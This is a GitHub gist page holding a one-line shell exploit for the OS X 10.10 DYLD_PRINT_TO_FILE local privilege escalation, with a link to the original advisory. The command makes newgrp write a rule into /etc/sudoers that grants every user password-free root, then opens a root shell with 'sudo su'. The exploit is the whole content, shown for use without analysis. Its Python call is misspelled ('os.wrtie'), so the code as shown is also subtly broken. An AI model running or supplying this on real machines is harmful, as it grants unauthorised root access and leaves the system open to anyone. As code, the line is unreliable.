ahhh/DYLD_PRINT_TO_FILE.priv_esc.sh

Created July 22, 2015 21:57

Star (0) You must be signed in to star a gist
Fork (0) You must be signed in to fork a gist

Learn more about clone URLs
Clone this repository at <script src="https://gist.github.com/ahhh/09751a7bc289a544b80e.js"></script>
Save ahhh/09751a7bc289a544b80e to your computer and use it in GitHub Desktop.

Download ZIP

OS X 10.10 DYLD_PRINT_TO_FILE Local Privilege Escalation Vulnerability: https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html

Raw

DYLD_PRINT_TO_FILE.priv_esc.sh

echo python -c '"import os; os.wrtie(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment